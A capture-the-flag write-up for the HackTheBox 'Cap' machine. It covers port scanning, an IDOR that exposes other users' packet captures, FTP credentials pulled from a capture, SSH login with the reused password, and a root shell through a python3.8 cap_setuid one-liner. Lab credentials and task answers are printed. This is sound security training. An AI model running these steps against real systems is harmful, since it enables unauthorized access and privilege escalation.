> For the complete documentation index, see [llms.txt](https://aashraymt.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aashraymt.gitbook.io/docs/writeups/hackthebox-writeups/htb-cap.md).
# HTB — CAP
**Skills Learned**:
* IDOR (Insecure Direct Object Reference)
* FTP credentials from `.pcap`
* Privilege escalation via `capabilities`
* Network analysis using Wireshark
### Enumeration
### Nmap Scan
First step in enumeration is scanning for open ports:
`nmap 10.10.10.245`
This revealed:
`PORT STATE SERVICE21/tcp open ftp22/tcp open ssh80/tcp open http`
We follow up with a more aggressive scan to identify versions and scripts:
`nmap -p21,22,80 -sC -sV -Pn 10.10.10.245`
Press enter or click to view image in full size
### Web Enumeration (Port 80)
Navigating to `http://10.10.10.245`, we’re presented with a **"Security Dashboard"** application.
On interaction with **“Security Snapshot”**, the app redirects to:
`/data/`
Example: [`http://10.10.10.245/data/0`](http://10.10.10.245/data/0)
Press enter or click to view image in full size
This reveals that the URL pattern is predictable — suggesting an **IDOR (Insecure Direct Object Reference)** vulnerability.
### IDOR Exploitation
Manually incrementing the `/data/` value allows access to **other users' PCAP scan results** (e.g., `/data/1`, `/data/2`, etc.).
✅ **TASK 2**: The answer to “What is the \[something]?” → `data`\
✅ **TASK 3**: Can you access other users' scans? → `yes`
### Packet Capture Analysis (PCAPs)
Once we find a working scan (example: `/data/0`), we can **download a PCAP**.
Open the `.pcap` file in **Wireshark** and apply a display filter:
`ftp`
Press enter or click to view image in full size
We observe:
`USER nathanPASS Buck3tH4TF0RM3!`
Press enter or click to view image in full size
The credentials were transferred **in plain text over FTP** (expected for non-FTPS servers).
### FTP Access
Using the extracted credentials
`ftp 10.10.10.245`
* Username: `nathan`
* Password: `Buck3tH4TF0RM3!`
✅ Login successful. While there isn’t much to explore through FTP, these credentials are reused for **SSH**.
### SSH Access
`ssh nathan@10.10.10.245`
Press enter or click to view image in full size
You’re dropped into the `nathan` user shell.
Listing files:
`cat user.txt`
**User Flag Acquired**
### Privilege Escalation
Time to check what’s misconfigured or exploitable.
### Capabilities Enumeration
We run [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) or manually inspect capabilities:
`getcap -r / 2>/dev/null`
We find:
`/usr/bin/python3.8 = cap_setuid+ep`
This means `python3.8` can run with **elevated privileges**. The `cap_setuid+ep` allows it to **set the UID to root** without needing sudo.
### Exploit Python Capability for Root
Launch a root shell:
`python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'`
Now verify:
`whoami`
Output:
`root`
Navigate to root’s home directory:
`cd /rootcat root.txt`
✅ **Root Flag Acquired**
